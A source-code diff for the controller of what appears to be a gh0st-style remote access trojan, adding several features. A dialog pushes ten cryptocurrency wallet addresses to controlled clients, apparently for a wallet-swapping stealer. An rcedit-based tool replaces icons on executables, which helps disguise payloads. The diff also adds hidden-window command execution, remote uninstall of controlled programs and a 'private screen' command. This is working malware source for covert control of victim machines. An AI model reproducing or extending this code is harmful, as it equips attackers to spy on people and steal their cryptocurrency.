m_bmOnline[15].LoadBitmap(IDB_BITMAP_UNINSTALL);
m_bmOnline[16].LoadBitmap(IDB_BITMAP_PDESKTOP);
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
m_ServerDLL[i] = nullptr; m_ServerDLL[i] = nullptr;
@@ -474,6 +479,10 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_ONLINE_ADD_WATCH, &CMy2015RemoteDlg::OnOnlineAddWatch) ON_COMMAND(ID_ONLINE_ADD_WATCH, &CMy2015RemoteDlg::OnOnlineAddWatch)
ON_NOTIFY(NM_CUSTOMDRAW, IDC_ONLINE, &CMy2015RemoteDlg::OnNMCustomdrawOnline) ON_NOTIFY(NM_CUSTOMDRAW, IDC_ONLINE, &CMy2015RemoteDlg::OnNMCustomdrawOnline)
ON_COMMAND(ID_ONLINE_RUN_AS_ADMIN, &CMy2015RemoteDlg::OnOnlineRunAsAdmin) ON_COMMAND(ID_ONLINE_RUN_AS_ADMIN, &CMy2015RemoteDlg::OnOnlineRunAsAdmin)
ON_COMMAND(ID_MAIN_WALLET, &CMy2015RemoteDlg::OnMainWallet)
ON_COMMAND(ID_TOOL_RCEDIT, &CMy2015RemoteDlg::OnToolRcedit)
ON_COMMAND(ID_ONLINE_UNINSTALL, &CMy2015RemoteDlg::OnOnlineUninstall)
ON_COMMAND(ID_ONLINE_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnOnlinePrivateScreen)
END_MESSAGE_MAP() END_MESSAGE_MAP()
@@ -1052,6 +1061,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
int n = THIS_CFG.GetInt("settings", "SoftwareDetect"); int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
int usingFRP = master.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp"); int usingFRP = master.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp");
m_settings = { m, sizeof(void*) == 8, __DATE__, n, usingFRP }; m_settings = { m, sizeof(void*) == 8, __DATE__, n, usingFRP };
auto w = THIS_CFG.GetStr("settings", "wallet", "");
memcpy(m_settings.WalletAddress, w.c_str(), w.length());
std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }}; std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }};
std::string str = myMap[n]; std::string str = myMap[n];
LVCOLUMN lvColumn; LVCOLUMN lvColumn;
@@ -1458,6 +1469,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
Menu.SetMenuItemBitmaps(ID_ONLINE_ASSIGN_TO, MF_BYCOMMAND, &m_bmOnline[12], &m_bmOnline[12]); Menu.SetMenuItemBitmaps(ID_ONLINE_ASSIGN_TO, MF_BYCOMMAND, &m_bmOnline[12], &m_bmOnline[12]);
Menu.SetMenuItemBitmaps(ID_ONLINE_ADD_WATCH, MF_BYCOMMAND, &m_bmOnline[13], &m_bmOnline[13]); Menu.SetMenuItemBitmaps(ID_ONLINE_ADD_WATCH, MF_BYCOMMAND, &m_bmOnline[13], &m_bmOnline[13]);
Menu.SetMenuItemBitmaps(ID_ONLINE_RUN_AS_ADMIN, MF_BYCOMMAND, &m_bmOnline[14], &m_bmOnline[14]); Menu.SetMenuItemBitmaps(ID_ONLINE_RUN_AS_ADMIN, MF_BYCOMMAND, &m_bmOnline[14], &m_bmOnline[14]);
Menu.SetMenuItemBitmaps(ID_ONLINE_UNINSTALL, MF_BYCOMMAND, &m_bmOnline[15], &m_bmOnline[15]);
Menu.SetMenuItemBitmaps(ID_ONLINE_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[16], &m_bmOnline[16]);
std::string masterHash(GetMasterHash()); std::string masterHash(GetMasterHash());
if (GetPwdHash() != masterHash || m_superPass.empty()) { if (GetPwdHash() != masterHash || m_superPass.empty()) {
@@ -2651,15 +2664,12 @@ BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size)
return TRUE; return TRUE;
} }
int run_upx(const std::string& upx, const std::string &file, bool isCompress) { int run_cmd(std::string cmdLine) {
STARTUPINFOA si = { sizeof(si) }; STARTUPINFOA si = { sizeof(si) };
si.dwFlags |= STARTF_USESHOWWINDOW; si.dwFlags |= STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE; si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi; PROCESS_INFORMATION pi = { 0 };
std::string cmd = isCompress ? "\" --best \"" : "\" -d \"";
std::string cmdLine = "\"" + upx + cmd + file + "\"";
BOOL success = CreateProcessA( BOOL success = CreateProcessA(
NULL, NULL,
&cmdLine[0], // 注意必须是非 const char* &cmdLine[0], // 注意必须是非 const char*
@@ -2683,20 +2693,14 @@ int run_upx(const std::string& upx, const std::string &file, bool isCompress) {
return static_cast<int>(exitCode); return static_cast<int>(exitCode);
} }
int run_upx(const std::string& upx, const std::string &file, bool isCompress) {
std::string cmd = isCompress ? "\" --best \"" : "\" -d \"";
std::string cmdLine = "\"" + upx + cmd + file + "\"";
return run_cmd(cmdLine);
}
std::string ReleaseUPX() { std::string ReleaseUPX() {
DWORD dwSize = 0; return ReleaseEXE(IDR_BINARY_UPX, "upx.exe");
LPBYTE data = ReadResource(IDR_BINARY_UPX, dwSize);
if (!data)
return "";
char path[MAX_PATH];
DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH);
std::string curExe = path;
GET_FILEPATH(path, "upx.exe");
BOOL r = WriteBinaryToFile(path, (char*)data, dwSize);
SAFE_DELETE_ARRAY(data);
return r ? path : "";
} }
// 解压UPX对当前应用程序进行操作 // 解压UPX对当前应用程序进行操作
@@ -3284,3 +3288,63 @@ void CMy2015RemoteDlg::OnOnlineRunAsAdmin()
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
} }
} }
void CMy2015RemoteDlg::OnMainWallet()
{
CWalletDlg dlg(this);
dlg.m_str = CString(m_settings.WalletAddress);
if (dlg.DoModal() != IDOK || CString(m_settings.WalletAddress) == dlg.m_str)
return;
if (dlg.m_str.GetLength() > 470) {
MessageBox("超出钱包地址可输入的字符数限制!", "提示", MB_ICONINFORMATION);
return;
}
strcpy(m_settings.WalletAddress, dlg.m_str);
THIS_CFG.SetStr("settings", "wallet", m_settings.WalletAddress);
SendMasterSettings(nullptr);
}
void CMy2015RemoteDlg::OnToolRcedit()
{
CRcEditDlg dlg;
dlg.DoModal();
}
void CMy2015RemoteDlg::OnOnlineUninstall()
{
if (IDYES != MessageBox(_T("确定卸载选定的被控程序吗?"), _T("提示"), MB_ICONQUESTION | MB_YESNO))
return;
BYTE bToken = TOKEN_UNINSTALL;
SendSelectedCommand(&bToken, sizeof(BYTE));
EnterCriticalSection(&m_cs);
int iCount = m_CList_Online.GetSelectedCount();
for (int i = 0; i < iCount; ++i)
{
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CString strIP = m_CList_Online.GetItemText(iItem, ONLINELIST_IP);
context* ctx = (context*)m_CList_Online.GetItemData(iItem);
m_CList_Online.DeleteItem(iItem);
ctx->Destroy();
strIP += "断开连接";
ShowMessage("操作成功", strIP);
}
LeaveCriticalSection(&m_cs);
}
void CMy2015RemoteDlg::OnOnlinePrivateScreen()
{
std::string masterId = GetPwdHash(), hmac = GetHMAC();
if (hmac.empty())
hmac = THIS_CFG.GetStr("settings", "HMAC");
BYTE bToken[101] = { TOKEN_PRIVATESCREEN };
memcpy(bToken + 1, masterId.c_str(), masterId.length());
memcpy(bToken + 1 + masterId.length(), hmac.c_str(), hmac.length());
SendSelectedCommand(bToken, sizeof(bToken));
}

View File

@@ -216,7 +216,7 @@ public:
CRITICAL_SECTION m_cs; CRITICAL_SECTION m_cs;
BOOL isClosed; BOOL isClosed;
CMenu m_MainMenu; CMenu m_MainMenu;
CBitmap m_bmOnline[15]; CBitmap m_bmOnline[17];
uint64_t m_superID; uint64_t m_superID;
enum { enum {
STATUS_UNKNOWN = -1, STATUS_UNKNOWN = -1,
@@ -304,4 +304,8 @@ public:
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult); afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnOnlineRunAsAdmin(); afx_msg void OnOnlineRunAsAdmin();
afx_msg LRESULT OnShowErrMessage(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnShowErrMessage(WPARAM wParam, LPARAM lParam);
afx_msg void OnMainWallet();
afx_msg void OnToolRcedit();
afx_msg void OnOnlineUninstall();
afx_msg void OnOnlinePrivateScreen();
}; };

View File

@@ -247,6 +247,7 @@
<None Include="res\frpc.dll" /> <None Include="res\frpc.dll" />
<None Include="res\My2015Remote.rc2" /> <None Include="res\My2015Remote.rc2" />
<None Include="res\pc.ico" /> <None Include="res\pc.ico" />
<None Include="res\rcedit.exe" />
<None Include="res\string.ico" /> <None Include="res\string.ico" />
<None Include="res\upx.exe" /> <None Include="res\upx.exe" />
</ItemGroup> </ItemGroup>
@@ -267,7 +268,9 @@
<ClInclude Include="CGridDialog.h" /> <ClInclude Include="CGridDialog.h" />
<ClInclude Include="Chat.h" /> <ClInclude Include="Chat.h" />
<ClInclude Include="CPasswordDlg.h" /> <ClInclude Include="CPasswordDlg.h" />
<ClInclude Include="CRcEditDlg.h" />
<ClInclude Include="CTextDlg.h" /> <ClInclude Include="CTextDlg.h" />
<ClInclude Include="CWalletDlg.h" />
<ClInclude Include="DateVerify.h" /> <ClInclude Include="DateVerify.h" />
<ClInclude Include="DecryptDlg.h" /> <ClInclude Include="DecryptDlg.h" />
<ClInclude Include="EditDialog.h" /> <ClInclude Include="EditDialog.h" />
@@ -338,7 +341,9 @@
<ClCompile Include="CGridDialog.cpp" /> <ClCompile Include="CGridDialog.cpp" />
<ClCompile Include="Chat.cpp" /> <ClCompile Include="Chat.cpp" />
<ClCompile Include="CPasswordDlg.cpp" /> <ClCompile Include="CPasswordDlg.cpp" />
<ClCompile Include="CRcEditDlg.cpp" />
<ClCompile Include="CTextDlg.cpp" /> <ClCompile Include="CTextDlg.cpp" />
<ClCompile Include="CWalletDlg.cpp" />
<ClCompile Include="DecryptDlg.cpp" /> <ClCompile Include="DecryptDlg.cpp" />
<ClCompile Include="EditDialog.cpp" /> <ClCompile Include="EditDialog.cpp" />
<ClCompile Include="FileManagerDlg.cpp" /> <ClCompile Include="FileManagerDlg.cpp" />
@@ -401,7 +406,9 @@
<Image Include="res\Bitmap\DxgiDesktop.bmp" /> <Image Include="res\Bitmap\DxgiDesktop.bmp" />
<Image Include="res\Bitmap\GrayDesktop.bmp" /> <Image Include="res\Bitmap\GrayDesktop.bmp" />
<Image Include="res\Bitmap\note.bmp" /> <Image Include="res\Bitmap\note.bmp" />
<Image Include="res\Bitmap\PrivateScreen.bmp" />
<Image Include="res\Bitmap\proxy.bmp" /> <Image Include="res\Bitmap\proxy.bmp" />
<Image Include="res\Bitmap\remove.bmp" />
<Image Include="res\Bitmap\Share.bmp" /> <Image Include="res\Bitmap\Share.bmp" />
<Image Include="res\Bitmap\SpeedDesktop.bmp" /> <Image Include="res\Bitmap\SpeedDesktop.bmp" />
<Image Include="res\Bitmap\unauthorize.bmp" /> <Image Include="res\Bitmap\unauthorize.bmp" />

View File

@@ -53,6 +53,8 @@
<ClCompile Include="IOCPKCPServer.cpp" /> <ClCompile Include="IOCPKCPServer.cpp" />
<ClCompile Include="..\..\common\ikcp.c" /> <ClCompile Include="..\..\common\ikcp.c" />
<ClCompile Include="CGridDialog.cpp" /> <ClCompile Include="CGridDialog.cpp" />
<ClCompile Include="CWalletDlg.cpp" />
<ClCompile Include="CRcEditDlg.cpp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="..\..\client\Audio.h" /> <ClInclude Include="..\..\client\Audio.h" />
@@ -118,6 +120,8 @@
<ClInclude Include="IOCPKCPServer.h" /> <ClInclude Include="IOCPKCPServer.h" />
<ClInclude Include="..\..\common\ikcp.h" /> <ClInclude Include="..\..\common\ikcp.h" />
<ClInclude Include="CGridDialog.h" /> <ClInclude Include="CGridDialog.h" />
<ClInclude Include="CWalletDlg.h" />
<ClInclude Include="CRcEditDlg.h" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ResourceCompile Include="2015Remote.rc" /> <ResourceCompile Include="2015Remote.rc" />
@@ -158,6 +162,8 @@
<Image Include="res\Bitmap\AssignTo.bmp" /> <Image Include="res\Bitmap\AssignTo.bmp" />
<Image Include="res\Bitmap\AddWatch.bmp" /> <Image Include="res\Bitmap\AddWatch.bmp" />
<Image Include="res\Bitmap\AdminRun.bmp" /> <Image Include="res\Bitmap\AdminRun.bmp" />
<Image Include="res\Bitmap\remove.bmp" />
<Image Include="res\Bitmap\PrivateScreen.bmp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<None Include="..\..\Release\ghost.exe" /> <None Include="..\..\Release\ghost.exe" />
@@ -193,6 +199,7 @@
<None Include="res\frpc.dll" /> <None Include="res\frpc.dll" />
<None Include="..\..\Release\SCLoader.exe" /> <None Include="..\..\Release\SCLoader.exe" />
<None Include="..\..\x64\Release\SCLoader.exe" /> <None Include="..\..\x64\Release\SCLoader.exe" />
<None Include="res\rcedit.exe" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<Text Include="..\..\ReadMe.md" /> <Text Include="..\..\ReadMe.md" />

View File

@@ -104,6 +104,22 @@ bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuff
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size); BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size);
std::string ReleaseEXE(int resID, const char* name) {
DWORD dwSize = 0;
LPBYTE data = ReadResource(resID, dwSize);
if (!data)
return "";
char path[MAX_PATH];
DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH);
std::string curExe = path;
GET_FILEPATH(path, name);
BOOL r = WriteBinaryToFile(path, (char*)data, dwSize);
SAFE_DELETE_ARRAY(data);
return r ? path : "";
}
typedef struct SCInfo typedef struct SCInfo
{ {
unsigned char aes_key[16]; unsigned char aes_key[16];

View File

@@ -4,6 +4,8 @@
LPBYTE ReadResource(int resourceId, DWORD& dwSize); LPBYTE ReadResource(int resourceId, DWORD& dwSize);
std::string ReleaseEXE(int resID, const char* name);
// CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD> // CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
class CBuildDlg : public CDialog class CBuildDlg : public CDialog

View File

@@ -0,0 +1,127 @@
// CRcEditDlg.cpp: 实现文件
//
#include "stdafx.h"
#include "CRcEditDlg.h"
#include "afxdialogex.h"
#include "Resource.h"
// CRcEditDlg 对话框
IMPLEMENT_DYNAMIC(CRcEditDlg, CDialogEx)
CRcEditDlg::CRcEditDlg(CWnd* pParent /*=nullptr*/)
: CDialogEx(IDD_DIALOG_RCEDIT, pParent)
, m_sExePath(_T(""))
, m_sIcoPath(_T(""))
{
}
CRcEditDlg::~CRcEditDlg()
{
}
void CRcEditDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT_EXE_FILE, m_EditExe);
DDX_Control(pDX, IDC_EDIT_ICO_FILE, m_EditIco);
DDX_Text(pDX, IDC_EDIT_EXE_FILE, m_sExePath);
DDV_MaxChars(pDX, m_sExePath, 256);
DDX_Text(pDX, IDC_EDIT_ICO_FILE, m_sIcoPath);
DDV_MaxChars(pDX, m_sIcoPath, 256);
}
BEGIN_MESSAGE_MAP(CRcEditDlg, CDialogEx)
ON_BN_CLICKED(IDC_BTN_SELECT_EXE, &CRcEditDlg::OnBnClickedBtnSelectExe)
ON_BN_CLICKED(IDC_BTN_SELECT_ICO, &CRcEditDlg::OnBnClickedBtnSelectIco)
END_MESSAGE_MAP()
// CRcEditDlg 消息处理程序
BOOL CRcEditDlg::OnInitDialog()
{
CDialogEx::OnInitDialog();
// TODO: 在此添加额外的初始化
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
void CRcEditDlg::OnOK()
{
if (m_sExePath.IsEmpty()) {
MessageBox("请选择目标应用程序!", "提示", MB_ICONINFORMATION);
return;
}
if (m_sIcoPath.IsEmpty()) {
MessageBox("请选择[*.ico]图标文件!", "提示", MB_ICONINFORMATION);
return;
}
std::string ReleaseEXE(int resID, const char* name);
int run_cmd(std::string cmdLine);
std::string rcedit = ReleaseEXE(IDR_BIN_RCEDIT, "rcedit.exe");
if (rcedit.empty()) {
MessageBox("解压程序失败,无法替换图标!", "提示", MB_ICONINFORMATION);
return;
}
std::string exe = m_sExePath.GetString();
std::string icon = m_sIcoPath.GetString();
std::string cmdLine = "\"" + rcedit + "\" " + "\"" + exe + "\" --set-icon \"" + icon + "\"";
int result = run_cmd(cmdLine);
if (result) {
MessageBox(CString("替换图标失败,错误代码: ") + std::to_string(result).c_str(),
"提示", MB_ICONINFORMATION);
return;
}
CDialogEx::OnOK();
}
void CRcEditDlg::OnBnClickedBtnSelectExe()
{
CFileDialog fileDlg(TRUE, _T("exe"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
_T("EXE Files (*.exe)|*.exe|All Files (*.*)|*.*||"), AfxGetMainWnd());
int ret = 0;
try {
ret = fileDlg.DoModal();
}
catch (...) {
MessageBox("文件对话框未成功打开! 请稍后再试。", "提示");
return;
}
if (ret == IDOK)
{
m_sExePath = fileDlg.GetPathName();
m_EditExe.SetWindowTextA(m_sExePath);
}
}
void CRcEditDlg::OnBnClickedBtnSelectIco()
{
CFileDialog fileDlg(TRUE, _T("ico"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
_T("EXE Files (*.ico)|*.ico|All Files (*.*)|*.*||"), AfxGetMainWnd());
int ret = 0;
try {
ret = fileDlg.DoModal();
}
catch (...) {
MessageBox("文件对话框未成功打开! 请稍后再试。", "提示");
return;
}
if (ret == IDOK)
{
m_sIcoPath = fileDlg.GetPathName();
m_EditIco.SetWindowTextA(m_sIcoPath);
}
}

View File

@@ -0,0 +1,35 @@
#pragma once
#include <afx.h>
#include <afxwin.h>
// CRcEditDlg 对话框
class CRcEditDlg : public CDialogEx
{
DECLARE_DYNAMIC(CRcEditDlg)
public:
CRcEditDlg(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CRcEditDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_DIALOG_RCEDIT };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
CEdit m_EditExe;
CEdit m_EditIco;
CString m_sExePath;
CString m_sIcoPath;
virtual BOOL OnInitDialog();
virtual void OnOK();
afx_msg void OnBnClickedBtnSelectExe();
afx_msg void OnBnClickedBtnSelectIco();
};

View File

@@ -0,0 +1,105 @@
// CWalletDlg.cpp: 实现文件
//
#include "stdafx.h"
#include "CWalletDlg.h"
#include "afxdialogex.h"
#include "Resource.h"
#include "wallet.h"
// CWalletDlg 对话框
IMPLEMENT_DYNAMIC(CWalletDlg, CDialogEx)
CWalletDlg::CWalletDlg(CWnd* pParent /*=nullptr*/)
: CDialogEx(IDD_DIALOG_WALLET, pParent)
{
}
CWalletDlg::~CWalletDlg()
{
}
void CWalletDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT_WALLET_BTC, m_EditBTC);
DDX_Control(pDX, IDC_EDIT_WALLET_ERC20, m_EditERC20);
DDX_Control(pDX, IDC_EDIT_WALLET_OMNI, m_EditOMNI);
DDX_Control(pDX, IDC_EDIT_WALLET_TRC20, m_EditTRC20);
DDX_Control(pDX, IDC_EDIT_WALLET_SOL, m_EditSOL);
DDX_Control(pDX, IDC_EDIT_WALLET_XRP, m_EditXRP);
DDX_Control(pDX, IDC_EDIT_WALLET_ADA, m_EditADA);
DDX_Control(pDX, IDC_EDIT_WALLET_DOGE, m_EditDOGE);
DDX_Control(pDX, IDC_EDIT_WALLET_DOT, m_EditDOT);
DDX_Control(pDX, IDC_EDIT_WALLET_TRON, m_EditTRON);
}
BEGIN_MESSAGE_MAP(CWalletDlg, CDialogEx)
END_MESSAGE_MAP()
// CWalletDlg 消息处理程序
BOOL CWalletDlg::OnInitDialog()
{
CDialogEx::OnInitDialog();
auto a = StringToVector(m_str.GetString(), ';', MAX_WALLET_NUM);
m_EditBTC.SetWindowTextA(a[ADDR_BTC].c_str());
m_EditERC20.SetWindowTextA(a[ADDR_ERC20].c_str());
m_EditOMNI.SetWindowTextA(a[ADDR_OMNI].c_str());
m_EditTRC20.SetWindowTextA(a[ADDR_TRC20].c_str());
m_EditSOL.SetWindowTextA(a[ADDR_SOL].c_str());
m_EditXRP.SetWindowTextA(a[ADDR_XRP].c_str());
m_EditADA.SetWindowTextA(a[ADDR_ADA].c_str());
m_EditDOGE.SetWindowTextA(a[ADDR_DOGE].c_str());
m_EditDOT.SetWindowTextA(a[ADDR_DOT].c_str());
m_EditTRON.SetWindowTextA(a[ADDR_TRON].c_str());
return TRUE;
}
CString JoinCStringArray(const CString arr[], int size, TCHAR delimiter)
{
CString result;
for (int i = 0; i < size; ++i)
{
result += arr[i];
if (i != size - 1)
result += delimiter;
}
return result;
}
void CWalletDlg::OnOK()
{
CString a[MAX_WALLET_NUM];
m_EditBTC.GetWindowTextA(a[ADDR_BTC]);
m_EditERC20.GetWindowTextA(a[ADDR_ERC20]);
m_EditOMNI.GetWindowTextA(a[ADDR_OMNI]);
m_EditTRC20.GetWindowTextA(a[ADDR_TRC20]);
m_EditSOL.GetWindowTextA(a[ADDR_SOL]);
m_EditXRP.GetWindowTextA(a[ADDR_XRP]);
m_EditADA.GetWindowTextA(a[ADDR_ADA]);
m_EditDOGE.GetWindowTextA(a[ADDR_DOGE]);
m_EditDOT.GetWindowTextA(a[ADDR_DOT]);
m_EditTRON.GetWindowTextA(a[ADDR_TRON]);
for (int i = 0; i < MAX_WALLET_NUM; ++i) {
if (a[i].IsEmpty()) continue;
if (WALLET_UNKNOWN == detectWalletType(a[i].GetString())) {
char tip[100];
sprintf(tip, "第 %d 个钱包地址不合法!", i + 1);
MessageBox(CString(tip), "提示", MB_ICONINFORMATION);
return;
}
}
m_str = JoinCStringArray(a, MAX_WALLET_NUM, _T(';'));
CDialogEx::OnOK();
}

View File

@@ -0,0 +1,38 @@
#pragma once
// CWalletDlg 对话框
class CWalletDlg : public CDialogEx
{
DECLARE_DYNAMIC(CWalletDlg)
public:
CWalletDlg(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CWalletDlg();
CString m_str;
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_DIALOG_WALLET };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
CEdit m_EditBTC;
CEdit m_EditERC20;
CEdit m_EditOMNI;
CEdit m_EditTRC20;
CEdit m_EditSOL;
CEdit m_EditXRP;
CEdit m_EditADA;
CEdit m_EditDOGE;
CEdit m_EditDOT;
CEdit m_EditTRON;
virtual BOOL OnInitDialog();
virtual void OnOK();
};

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

Binary file not shown.